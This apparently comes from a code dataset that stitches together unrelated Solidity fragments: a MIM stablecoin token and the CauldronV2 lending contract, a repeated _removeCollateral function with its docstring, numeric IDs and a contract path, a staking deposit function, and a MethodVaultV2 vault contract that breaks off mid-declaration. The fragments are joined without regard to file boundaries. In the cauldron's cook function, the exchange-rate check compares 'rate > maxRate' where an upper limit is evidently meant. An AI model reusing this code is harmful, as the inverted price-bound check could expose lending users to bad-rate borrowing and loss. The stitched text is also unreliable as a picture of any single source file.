"MIM"; string public constant name = "Magic Internet Money"; uint8 public constant decimals = 18; uint256 public override totalSupply; struct Minting { uint128 time; uint128 amount; } Minting public lastMint; uint256 private constant MINTING_PERIOD = 24 hours; uint256 private constant MINTING_INCREASE = 15000; uint256 private constant MINTING_PRECISION = 1e5; function mint(address to, uint256 amount) public onlyOwner { require(to != address(0), "MIM: no mint to zero address"); // Limits the amount minted per period to a convergence function, with the period duration restarting on every mint uint256 totalMintedAmount = uint256(lastMint.time < block.timestamp - MINTING_PERIOD ? 0 : lastMint.amount).add(amount); require(totalSupply == 0 || totalSupply.mul(MINTING_INCREASE) / MINTING_PRECISION >= totalMintedAmount); lastMint.time = block.timestamp.to128(); lastMint.amount = totalMintedAmount.to128(); totalSupply = totalSupply + amount; balanceOf[to] += amount; emit Transfer(address(0), to, amount); } function mintToBentoBox(address clone, uint256 amount, IBentoBoxV1 bentoBox) public onlyOwner { mint(address(bentoBox), amount); bentoBox.deposit(IERC20(address(this)), address(bentoBox), clone, amount, 0); } function burn(uint256 amount) public { require(amount <= balanceOf[msg.sender], "MIM: not enough"); balanceOf[msg.sender] -= amount; totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); } } // File contracts/interfaces/IOracle.sol // License-Identifier: MIT pragma solidity 0.6.12; interface IOracle { /// @notice Get the latest exchange rate. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function get(bytes calldata data) external returns (bool success, uint256 rate); /// @notice Check the last exchange rate without any state changes. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function peek(bytes calldata data) external view returns (bool success, uint256 rate); /// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek(). /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return rate The rate of the requested asset / pair / pool. function peekSpot(bytes calldata data) external view returns (uint256 rate); /// @notice Returns a human readable (short) name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable symbol name about this oracle. function symbol(bytes calldata data) external view returns (string memory); /// @notice Returns a human readable name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable name about this oracle. function name(bytes calldata data) external view returns (string memory); } // File contracts/interfaces/ISwapper.sol // License-Identifier: MIT pragma solidity 0.6.12; interface ISwapper { /// @notice Withdraws 'amountFrom' of token 'from' from the BentoBox account for this swapper. /// Swaps it for at least 'amountToMin' of token 'to'. /// Transfers the swapped tokens of 'to' into the BentoBox using a plain ERC20 transfer. /// Returns the amount of tokens 'to' transferred to BentoBox. /// (The BentoBox skim function will be used by the caller to get the swapped funds). function swap( IERC20 fromToken, IERC20 toToken, address recipient, uint256 shareToMin, uint256 shareFrom ) external returns (uint256 extraShare, uint256 shareReturned); /// @notice Calculates the amount of token 'from' needed to complete the swap (amountFrom), /// this should be less than or equal to amountFromMax. /// Withdraws 'amountFrom' of token 'from' from the BentoBox account for this swapper. /// Swaps it for exactly 'exactAmountTo' of token 'to'. /// Transfers the swapped tokens of 'to' into the BentoBox using a plain ERC20 transfer. /// Transfers allocated, but unused 'from' tokens within the BentoBox to 'refundTo' (amountFromMax - amountFrom). /// Returns the amount of 'from' tokens withdrawn from BentoBox (amountFrom). /// (The BentoBox skim function will be used by the caller to get the swapped funds). function swapExact( IERC20 fromToken, IERC20 toToken, address recipient, address refundTo, uint256 shareFromSupplied, uint256 shareToExact ) external returns (uint256 shareUsed, uint256 shareReturned); } // File contracts/CauldronV2.sol // License-Identifier: UNLICENSED // Cauldron // ( ( ( // )\ ) ( )\ )\ ) ( // (((_) ( /( ))\ ((_)(()/( )( ( ( // )\___ )(_)) /((_) _ ((_))(()\ )\ )\ ) // ((/ __|((_)_ (_))( | | _| | ((_) ((_) _(_/( // | (__ / _` || || || |/ _` | | '_|/ _ \| ' \)) // \___|\__,_| \_,_||_|\__,_| |_| \___/|_||_| // Copyright (c) 2021 BoringCrypto - All rights reserved // Twitter: @Boring_Crypto // Special thanks to: // @0xKeno - for all his invaluable contributions // @burger_crypto - for the idea of trying to let the LPs benefit from liquidations pragma solidity 0.6.12; // solhint-disable avoid-low-level-calls // solhint-disable no-inline-assembly /// @title Cauldron /// @dev This contract allows contract calls to any contract (except BentoBox) /// from arbitrary callers thus, don't trust calls from this contract in any circumstances. contract CauldronV2Flat is BoringOwnable, IMasterContract { using BoringMath for uint256; using BoringMath128 for uint128; using RebaseLibrary for Rebase; using BoringERC20 for IERC20; event LogExchangeRate(uint256 rate); event LogAccrue(uint128 accruedAmount); event LogAddCollateral(address indexed from, address indexed to, uint256 share); event LogRemoveCollateral(address indexed from, address indexed to, uint256 share); event LogBorrow(address indexed from, address indexed to, uint256 amount, uint256 part); event LogRepay(address indexed from, address indexed to, uint256 amount, uint256 part); event LogFeeTo(address indexed newFeeTo); event LogWithdrawFees(address indexed feeTo, uint256 feesEarnedFraction); // Immutables (for MasterContract and all clones) IBentoBoxV1 public immutable bentoBox; CauldronV2Flat public immutable masterContract; IERC20 public immutable magicInternetMoney; // MasterContract variables address public feeTo; // Per clone variables // Clone init settings IERC20 public collateral; IOracle public oracle; bytes public oracleData; // Total amounts uint256 public totalCollateralShare; // Total collateral supplied Rebase public totalBorrow; // elastic = Total token amount to be repayed by borrowers, base = Total parts of the debt held by borrowers // User balances mapping(address => uint256) public userCollateralShare; mapping(address => uint256) public userBorrowPart; /// @notice Exchange and interest rate tracking. /// This is 'cached' here because calls to Oracles can be very expensive. uint256 public exchangeRate; struct AccrueInfo { uint64 lastAccrued; uint128 feesEarned; uint64 INTEREST_PER_SECOND; } AccrueInfo public accrueInfo; // Settings uint256 public COLLATERIZATION_RATE; uint256 private constant COLLATERIZATION_RATE_PRECISION = 1e5; // Must be less than EXCHANGE_RATE_PRECISION (due to optimization in math) uint256 private constant EXCHANGE_RATE_PRECISION = 1e18; uint256 public LIQUIDATION_MULTIPLIER; uint256 private constant LIQUIDATION_MULTIPLIER_PRECISION = 1e5; uint256 public BORROW_OPENING_FEE; uint256 private constant BORROW_OPENING_FEE_PRECISION = 1e5; uint256 private constant DISTRIBUTION_PART = 10; uint256 private constant DISTRIBUTION_PRECISION = 100; /// @notice The constructor is only used for the initial master contract. Subsequent clones are initialised via `init`. constructor(IBentoBoxV1 bentoBox_, IERC20 magicInternetMoney_) public { bentoBox = bentoBox_; magicInternetMoney = magicInternetMoney_; masterContract = this; } /// @notice Serves as the constructor for clones, as clones can't have a regular constructor /// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData) function init(bytes calldata data) public payable override { require(address(collateral) == address(0), "Cauldron: already initialized"); (collateral, oracle, oracleData, accrueInfo.INTEREST_PER_SECOND, LIQUIDATION_MULTIPLIER, COLLATERIZATION_RATE, BORROW_OPENING_FEE) = abi.decode(data, (IERC20, IOracle, bytes, uint64, uint256, uint256, uint256)); require(address(collateral) != address(0), "Cauldron: bad pair"); } /// @notice Accrues the interest on the borrowed tokens and handles the accumulation of fees. function accrue() public { AccrueInfo memory _accrueInfo = accrueInfo; // Number of seconds since accrue was called uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued; if (elapsedTime == 0) { return; } _accrueInfo.lastAccrued = uint64(block.timestamp); Rebase memory _totalBorrow = totalBorrow; if (_totalBorrow.base == 0) { accrueInfo = _accrueInfo; return; } // Accrue interest uint128 extraAmount = (uint256(_totalBorrow.elastic).mul(_accrueInfo.INTEREST_PER_SECOND).mul(elapsedTime) / 1e18).to128(); _totalBorrow.elastic = _totalBorrow.elastic.add(extraAmount); _accrueInfo.feesEarned = _accrueInfo.feesEarned.add(extraAmount); totalBorrow = _totalBorrow; accrueInfo = _accrueInfo; emit LogAccrue(extraAmount); } /// @notice Concrete implementation of `isSolvent`. Includes a third parameter to allow caching `exchangeRate`. /// @param _exchangeRate The exchange rate. Used to cache the `exchangeRate` between calls. function _isSolvent(address user, uint256 _exchangeRate) internal view returns (bool) { // accrue must have already been called! uint256 borrowPart = userBorrowPart[user]; if (borrowPart == 0) return true; uint256 collateralShare = userCollateralShare[user]; if (collateralShare == 0) return false; Rebase memory _totalBorrow = totalBorrow; return bentoBox.toAmount( collateral, collateralShare.mul(EXCHANGE_RATE_PRECISION / COLLATERIZATION_RATE_PRECISION).mul(COLLATERIZATION_RATE), false ) >= // Moved exchangeRate here instead of dividing the other side to preserve more precision borrowPart.mul(_totalBorrow.elastic).mul(_exchangeRate) / _totalBorrow.base; } /// @dev Checks if the user is solvent in the closed liquidation case at the end of the function body. modifier solvent() { _; require(_isSolvent(msg.sender, exchangeRate), "Cauldron: user insolvent"); } /// @notice Gets the exchange rate. I.e how much collateral to buy 1e18 asset. /// This function is supposed to be invoked if needed because Oracle queries can be expensive. /// @return updated True if `exchangeRate` was updated. /// @return rate The new exchange rate. function updateExchangeRate() public returns (bool updated, uint256 rate) { (updated, rate) = oracle.get(oracleData); if (updated) { exchangeRate = rate; emit LogExchangeRate(rate); } else { // Return the old rate if fetching wasn't successful rate = exchangeRate; } } /// @dev Helper function to move tokens. /// @param token The ERC-20 token. /// @param share The amount in shares to add. /// @param total Grand total amount to deduct from this contract's balance. Only applicable if `skim` is True. /// Only used for accounting checks. /// @param skim If True, only does a balance check on this contract. /// False if tokens from msg.sender in `bentoBox` should be transferred. function _addTokens( IERC20 token, uint256 share, uint256 total, bool skim ) internal { if (skim) { require(share <= bentoBox.balanceOf(token, address(this)).sub(total), "Cauldron: Skim too much"); } else { bentoBox.transfer(token, msg.sender, address(this), share); } } /// @notice Adds `collateral` from msg.sender to the account `to`. /// @param to The receiver of the tokens. /// @param skim True if the amount should be skimmed from the deposit balance of msg.sender.x /// False if tokens from msg.sender in `bentoBox` should be transferred. /// @param share The amount of shares to add for `to`. function addCollateral( address to, bool skim, uint256 share ) public { userCollateralShare[to] = userCollateralShare[to].add(share); uint256 oldTotalCollateralShare = totalCollateralShare; totalCollateralShare = oldTotalCollateralShare.add(share); _addTokens(collateral, share, oldTotalCollateralShare, skim); emit LogAddCollateral(skim ? address(bentoBox) : msg.sender, to, share); } /// @dev Concrete implementation of `removeCollateral`. function _removeCollateral(address to, uint256 share) internal { userCollateralShare[msg.sender] = userCollateralShare[msg.sender].sub(share); totalCollateralShare = totalCollateralShare.sub(share); emit LogRemoveCollateral(msg.sender, to, share); bentoBox.transfer(collateral, address(this), to, share); } /// @notice Removes `share` amount of collateral and transfers it to `to`. /// @param to The receiver of the shares. /// @param share Amount of shares to remove. function removeCollateral(address to, uint256 share) public solvent { // accrue must be called because we check solvency accrue(); _removeCollateral(to, share); } /// @dev Concrete implementation of `borrow`. function _borrow(address to, uint256 amount) internal returns (uint256 part, uint256 share) { uint256 feeAmount = amount.mul(BORROW_OPENING_FEE) / BORROW_OPENING_FEE_PRECISION; // A flat % fee is charged for any borrow (totalBorrow, part) = totalBorrow.add(amount.add(feeAmount), true); accrueInfo.feesEarned = accrueInfo.feesEarned.add(uint128(feeAmount)); userBorrowPart[msg.sender] = userBorrowPart[msg.sender].add(part); // As long as there are tokens on this contract you can 'mint'... this enables limiting borrows share = bentoBox.toShare(magicInternetMoney, amount, false); bentoBox.transfer(magicInternetMoney, address(this), to, share); emit LogBorrow(msg.sender, to, amount.add(feeAmount), part); } /// @notice Sender borrows `amount` and transfers it to `to`. /// @return part Total part of the debt held by borrowers. /// @return share Total amount in shares borrowed. function borrow(address to, uint256 amount) public solvent returns (uint256 part, uint256 share) { accrue(); (part, share) = _borrow(to, amount); } /// @dev Concrete implementation of `repay`. function _repay( address to, bool skim, uint256 part ) internal returns (uint256 amount) { (totalBorrow, amount) = totalBorrow.sub(part, true); userBorrowPart[to] = userBorrowPart[to].sub(part); uint256 share = bentoBox.toShare(magicInternetMoney, amount, true); bentoBox.transfer(magicInternetMoney, skim ? address(bentoBox) : msg.sender, address(this), share); emit LogRepay(skim ? address(bentoBox) : msg.sender, to, amount, part); } /// @notice Repays a loan. /// @param to Address of the user this payment should go. /// @param skim True if the amount should be skimmed from the deposit balance of msg.sender. /// False if tokens from msg.sender in `bentoBox` should be transferred. /// @param part The amount to repay. See `userBorrowPart`. /// @return amount The total amount repayed. function repay( address to, bool skim, uint256 part ) public returns (uint256 amount) { accrue(); amount = _repay(to, skim, part); } // Functions that need accrue to be called uint8 internal constant ACTION_REPAY = 2; uint8 internal constant ACTION_REMOVE_COLLATERAL = 4; uint8 internal constant ACTION_BORROW = 5; uint8 internal constant ACTION_GET_REPAY_SHARE = 6; uint8 internal constant ACTION_GET_REPAY_PART = 7; uint8 internal constant ACTION_ACCRUE = 8; // Functions that don't need accrue to be called uint8 internal constant ACTION_ADD_COLLATERAL = 10; uint8 internal constant ACTION_UPDATE_EXCHANGE_RATE = 11; // Function on BentoBox uint8 internal constant ACTION_BENTO_DEPOSIT = 20; uint8 internal constant ACTION_BENTO_WITHDRAW = 21; uint8 internal constant ACTION_BENTO_TRANSFER = 22; uint8 internal constant ACTION_BENTO_TRANSFER_MULTIPLE = 23; uint8 internal constant ACTION_BENTO_SETAPPROVAL = 24; // Any external call (except to BentoBox) uint8 internal constant ACTION_CALL = 30; int256 internal constant USE_VALUE1 = -1; int256 internal constant USE_VALUE2 = -2; /// @dev Helper function for choosing the correct value (`value1` or `value2`) depending on `inNum`. function _num( int256 inNum, uint256 value1, uint256 value2 ) internal pure returns (uint256 outNum) { outNum = inNum >= 0 ? uint256(inNum) : (inNum == USE_VALUE1 ? value1 : value2); } /// @dev Helper function for depositing into `bentoBox`. function _bentoDeposit( bytes memory data, uint256 value, uint256 value1, uint256 value2 ) internal returns (uint256, uint256) { (IERC20 token, address to, int256 amount, int256 share) = abi.decode(data, (IERC20, address, int256, int256)); amount = int256(_num(amount, value1, value2)); // Done this way to avoid stack too deep errors share = int256(_num(share, value1, value2)); return bentoBox.deposit{value: value}(token, msg.sender, to, uint256(amount), uint256(share)); } /// @dev Helper function to withdraw from the `bentoBox`. function _bentoWithdraw( bytes memory data, uint256 value1, uint256 value2 ) internal returns (uint256, uint256) { (IERC20 token, address to, int256 amount, int256 share) = abi.decode(data, (IERC20, address, int256, int256)); return bentoBox.withdraw(token, msg.sender, to, _num(amount, value1, value2), _num(share, value1, value2)); } /// @dev Helper function to perform a contract call and eventually extracting revert messages on failure. /// Calls to `bentoBox` are not allowed for obvious security reasons. /// This also means that calls made from this contract shall *not* be trusted. function _call( uint256 value, bytes memory data, uint256 value1, uint256 value2 ) internal returns (bytes memory, uint8) { (address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues) = abi.decode(data, (address, bytes, bool, bool, uint8)); if (useValue1 && !useValue2) { callData = abi.encodePacked(callData, value1); } else if (!useValue1 && useValue2) { callData = abi.encodePacked(callData, value2); } else if (useValue1 && useValue2) { callData = abi.encodePacked(callData, value1, value2); } require(callee != address(bentoBox) && callee != address(this), "Cauldron: can't call"); (bool success, bytes memory returnData) = callee.call{value: value}(callData); require(success, "Cauldron: call failed"); return (returnData, returnValues); } struct CookStatus { bool needsSolvencyCheck; bool hasAccrued; } /// @notice Executes a set of actions and allows composability (contract calls) to other contracts. /// @param actions An array with a sequence of actions to execute (see ACTION_ declarations). /// @param values A one-to-one mapped array to `actions`. ETH amounts to send along with the actions. /// Only applicable to `ACTION_CALL`, `ACTION_BENTO_DEPOSIT`. /// @param datas A one-to-one mapped array to `actions`. Contains abi encoded data of function arguments. /// @return value1 May contain the first positioned return value of the last executed action (if applicable). /// @return value2 May contain the second positioned return value of the last executed action which returns 2 values (if applicable). function cook( uint8[] calldata actions, uint256[] calldata values, bytes[] calldata datas ) external payable returns (uint256 value1, uint256 value2) { CookStatus memory status; for (uint256 i = 0; i < actions.length; i++) { uint8 action = actions[i]; if (!status.hasAccrued && action < 10) { accrue(); status.hasAccrued = true; } if (action == ACTION_ADD_COLLATERAL) { (int256 share, address to, bool skim) = abi.decode(datas[i], (int256, address, bool)); addCollateral(to, skim, _num(share, value1, value2)); } else if (action == ACTION_REPAY) { (int256 part, address to, bool skim) = abi.decode(datas[i], (int256, address, bool)); _repay(to, skim, _num(part, value1, value2)); } else if (action == ACTION_REMOVE_COLLATERAL) { (int256 share, address to) = abi.decode(datas[i], (int256, address)); _removeCollateral(to, _num(share, value1, value2)); status.needsSolvencyCheck = true; } else if (action == ACTION_BORROW) { (int256 amount, address to) = abi.decode(datas[i], (int256, address)); (value1, value2) = _borrow(to, _num(amount, value1, value2)); status.needsSolvencyCheck = true; } else if (action == ACTION_UPDATE_EXCHANGE_RATE) { (bool must_update, uint256 minRate, uint256 maxRate) = abi.decode(datas[i], (bool, uint256, uint256)); (bool updated, uint256 rate) = updateExchangeRate(); require((!must_update || updated) && rate > minRate && (maxRate == 0 || rate > maxRate), "Cauldron: rate not ok"); } else if (action == ACTION_BENTO_SETAPPROVAL) { (address user, address _masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) = abi.decode(datas[i], (address, address, bool, uint8, bytes32, bytes32)); bentoBox.setMasterContractApproval(user, _masterContract, approved, v, r, s); } else if (action == ACTION_BENTO_DEPOSIT) { (value1, value2) = _bentoDeposit(datas[i], values[i], value1, value2); } else if (action == ACTION_BENTO_WITHDRAW) { (value1, value2) = _bentoWithdraw(datas[i], value1, value2); } else if (action == ACTION_BENTO_TRANSFER) { (IERC20 token, address to, int256 share) = abi.decode(datas[i], (IERC20, address, int256)); bentoBox.transfer(token, msg.sender, to, _num(share, value1, value2)); } else if (action == ACTION_BENTO_TRANSFER_MULTIPLE) { (IERC20 token, address[] memory tos, uint256[] memory shares) = abi.decode(datas[i], (IERC20, address[], uint256[])); bentoBox.transferMultiple(token, msg.sender, tos, shares); } else if (action == ACTION_CALL) { (bytes memory returnData, uint8 returnValues) = _call(values[i], datas[i], value1, value2); if (returnValues == 1) { (value1) = abi.decode(returnData, (uint256)); } else if (returnValues == 2) { (value1, value2) = abi.decode(returnData, (uint256, uint256)); } } else if (action == ACTION_GET_REPAY_SHARE) { int256 part = abi.decode(datas[i], (int256)); value1 = bentoBox.toShare(magicInternetMoney, totalBorrow.toElastic(_num(part, value1, value2), true), true); } else if (action == ACTION_GET_REPAY_PART) { int256 amount = abi.decode(datas[i], (int256)); value1 = totalBorrow.toBase(_num(amount, value1, value2), false); } } if (status.needsSolvencyCheck) { require(_isSolvent(msg.sender, exchangeRate), "Cauldron: user insolvent"); } } /// @notice Handles the liquidation of users' balances, once the users' amount of collateral is too low. /// @param users An array of user addresses. /// @param maxBorrowParts A one-to-one mapping to `users`, contains maximum (partial) borrow amounts (to liquidate) of the respective user. /// @param to Address of the receiver in open liquidations if `swapper` is zero. function liquidate( address[] calldata users, uint256[] calldata maxBorrowParts, address to, ISwapper swapper ) public { // Oracle can fail but we still need to allow liquidations (, uint256 _exchangeRate) = updateExchangeRate(); accrue(); uint256 allCollateralShare; uint256 allBorrowAmount; uint256 allBorrowPart; Rebase memory _totalBorrow = totalBorrow; Rebase memory bentoBoxTotals = bentoBox.totals(collateral); for (uint256 i = 0; i < users.length; i++) { address user = users[i]; if (!_isSolvent(user, _exchangeRate)) { uint256 borrowPart; { uint256 availableBorrowPart = userBorrowPart[user]; borrowPart = maxBorrowParts[i] > availableBorrowPart ? availableBorrowPart : maxBorrowParts[i]; userBorrowPart[user] = availableBorrowPart.sub(borrowPart); } uint256 borrowAmount = _totalBorrow.toElastic(borrowPart, false); uint256 collateralShare = bentoBoxTotals.toBase( borrowAmount.mul(LIQUIDATION_MULTIPLIER).mul(_exchangeRate) / (LIQUIDATION_MULTIPLIER_PRECISION * EXCHANGE_RATE_PRECISION), false ); userCollateralShare[user] = userCollateralShare[user].sub(collateralShare); emit LogRemoveCollateral(user, to, collateralShare); emit LogRepay(msg.sender, user, borrowAmount, borrowPart); // Keep totals allCollateralShare = allCollateralShare.add(collateralShare); allBorrowAmount = allBorrowAmount.add(borrowAmount); allBorrowPart = allBorrowPart.add(borrowPart); } } require(allBorrowAmount != 0, "Cauldron: all are solvent"); _totalBorrow.elastic = _totalBorrow.elastic.sub(allBorrowAmount.to128()); _totalBorrow.base = _totalBorrow.base.sub(allBorrowPart.to128()); totalBorrow = _totalBorrow; totalCollateralShare = totalCollateralShare.sub(allCollateralShare); // Apply a percentual fee share to sSpell holders { uint256 distributionAmount = (allBorrowAmount.mul(LIQUIDATION_MULTIPLIER) / LIQUIDATION_MULTIPLIER_PRECISION).sub(allBorrowAmount).mul(DISTRIBUTION_PART) / DISTRIBUTION_PRECISION; // Distribution Amount allBorrowAmount = allBorrowAmount.add(distributionAmount); accrueInfo.feesEarned = accrueInfo.feesEarned.add(distributionAmount.to128()); } uint256 allBorrowShare = bentoBox.toShare(magicInternetMoney, allBorrowAmount, true); // Swap using a swapper freely chosen by the caller // Open (flash) liquidation: get proceeds first and provide the borrow after bentoBox.transfer(collateral, address(this), to, allCollateralShare); if (swapper != ISwapper(0)) { swapper.swap(collateral, magicInternetMoney, msg.sender, allBorrowShare, allCollateralShare); } bentoBox.transfer(magicInternetMoney, msg.sender, address(this), allBorrowShare); } /// @notice Withdraws the fees accumulated. function withdrawFees() public { accrue(); address _feeTo = masterContract.feeTo(); uint256 _feesEarned = accrueInfo.feesEarned; uint256 share = bentoBox.toShare(magicInternetMoney, _feesEarned, false); bentoBox.transfer(magicInternetMoney, address(this), _feeTo, share); accrueInfo.feesEarned = 0; emit LogWithdrawFees(_feeTo, _feesEarned); } /// @notice Sets the beneficiary of interest accrued. /// MasterContract Only Admin function. /// @param newFeeTo The address of the receiver. function setFeeTo(address newFeeTo) public onlyOwner { feeTo = newFeeTo; emit LogFeeTo(newFeeTo); } /// @notice reduces the supply of MIM /// @param amount amount to reduce supply by function reduceSupply(uint256 amount) public { require(msg.sender == masterContract.owner(), "Caller is not the owner"); bentoBox.withdraw(magicInternetMoney, address(this), address(this), amount, 0); MagicInternetMoney(address(magicInternetMoney)).burn(amount); } }
Concrete implementation of `removeCollateral`.
function _removeCollateral(address to, uint256 share) internal { userCollateralShare[msg.sender] = userCollateralShare[msg.sender].sub(share); totalCollateralShare = totalCollateralShare.sub(share); emit LogRemoveCollateral(msg.sender, to, share); bentoBox.transfer(collateral, address(this), to, share); }
2,271,905
./partial_match/1313161554/0x2fc955bC96563Be7b45cC05D67952E16f595F7E2/sources/Address.sol
Deposit staking token into the contract to earn rewards. Since this contract needs to be supplied with rewards we are sending the balance of the contract if the pending rewards are higher _amount The amount of staking tokens to deposit If rewardBalance is low then revert to avoid losing the user's rewards
function deposit(uint256 _amount) external nonReentrant { UserInfo storage user = userInfo[msg.sender]; updatePool(); if (user.amount > 0) { uint256 pending = user.amount * poolInfo.accRewardTokenPerShare / 1e30 - user.rewardDebt; if(pending > 0) { require(rewardBalance() >= pending, "insufficient reward balance"); safeTransferRewardInternal(address(msg.sender), pending); } } uint256 finalDepositAmount = 0; if (_amount > 0) { uint256 preStakeBalance = STAKE_TOKEN.balanceOf(address(this)); poolInfo.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); finalDepositAmount = STAKE_TOKEN.balanceOf(address(this)) - preStakeBalance; user.amount = user.amount + finalDepositAmount; totalStaked = totalStaked + finalDepositAmount; } user.rewardDebt = user.amount * poolInfo.accRewardTokenPerShare / 1e30; emit Deposit(msg.sender, finalDepositAmount); }
16,936,936
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {EIP712} from "./EIP712.sol"; import {ERC1271} from "./ERC1271.sol"; import {OwnableByERC721} from "./OwnableByERC721.sol"; import {IRageQuit} from "../staking/UniStakerV2.sol"; interface IUniversalVaultV2 { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event LockedERC721(address delegate, address token, uint256 tokenId); event UnlockedERC721(address delegate, address token, uint256 tokenId); event RageQuit(address delegate, address token, bool notified, string reason); event ERC721Received(address operator, address from, uint256 tokenId, bytes data); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function lockERC721( address token, uint256 tokenId, bytes calldata permission ) external; function unlockERC721( address token, uint256 tokenId, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferERC721( address token, address to, uint256 tokenId ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getPermissionHashERC721( bytes32 eip712TypeHash, address delegate, address token, uint256 tokenId, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function getNumERC721TypesLocked() external view returns (uint256 count); function getERC721TypeLockedAt(uint index) external view returns (address token); function getERC721LockedBalance(address token) external view returns (uint256 balance); function getERC721LockedAt(address token, uint index) external view returns (uint256 tokenId); function getNumERC721TypesInVault() external view returns (uint256 count); function getERC721TypeInVaultAt(uint index) external view returns (address token); function getERC721VaultBalance(address token) external view returns (uint256 balance); function getERC721InVaultAt(address token, uint index) external view returns (uint256 tokenId); function checkERC20Balances() external view returns (bool validity); function checkERC721Balances() external view returns (bool validity); } /// @title MethodVault /// @notice Vault for isolated storage of staking tokens /// @dev Warning: not compatible with rebasing tokens contract MethodVaultV2 is IUniversalVaultV2, EIP712("UniversalVault", "1.0.0"), ERC1271, OwnableByERC721, Initializable, IERC721Receiver { using SafeMath for uint256; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.Bytes32Set; using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; /* constant */ // Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks // the gas requirement cannot be determined at runtime by querying the delegate // as it could potentially be manipulated by a malicious delegate who could force // the calls to revert. // The gas limit could alternatively be set upon vault initialization or creation // of a lock, but the gas consumption trade-offs are not favorable. // Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant RAGEQUIT_GAS = 500000; bytes32 public constant LOCK_TYPEHASH = keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant UNLOCK_TYPEHASH = keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant LOCK_ERC721_TYPEHASH = keccak256("LockERC721(address delegate,address token,uint256 tokenId,uint256 nonce)"); bytes32 public constant UNLOCK_ERC721_TYPEHASH = keccak256("UnlockERC721(address delegate,address token,uint256 tokenId,uint256 nonce)"); string public constant VERSION = "1.0.0"; /* storage */ uint256 private _nonce; EnumerableSet.AddressSet private _vaultERC721Types; // nft type to id mapping mapping(address => EnumerableSet.UintSet) private _vaultERC721s; EnumerableSet.AddressSet private _lockedERC721Types; // nft type to id mapping mapping(address => EnumerableSet.UintSet) private _lockedERC721s; mapping(bytes32 => LockData) private _locks; EnumerableSet.Bytes32Set private _lockSet; /* initialization function */ function initializeLock() external initializer {} function initialize() external override initializer { OwnableByERC721._setNFT(msg.sender); } /* ether receive */ receive() external payable {} /* internal overrides */ function _getOwner() internal view override(ERC1271) returns (address ownerAddress) { return OwnableByERC721.owner(); } /* overrides */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external override returns (bytes4) { emit ERC721Received(operator, from, tokenId, data); return IERC721Receiver(0).onERC721Received.selector; } /* pure functions */ function calculateLockID(address delegate, address token) public pure override returns (bytes32 lockID) { return keccak256(abi.encodePacked(delegate, token)); } /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, amount, nonce)) ); } function getPermissionHashERC721( bytes32 eip712TypeHash, address delegate, address token, uint256 tokenId, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, tokenId, nonce)) ); } function getNonce() external view override 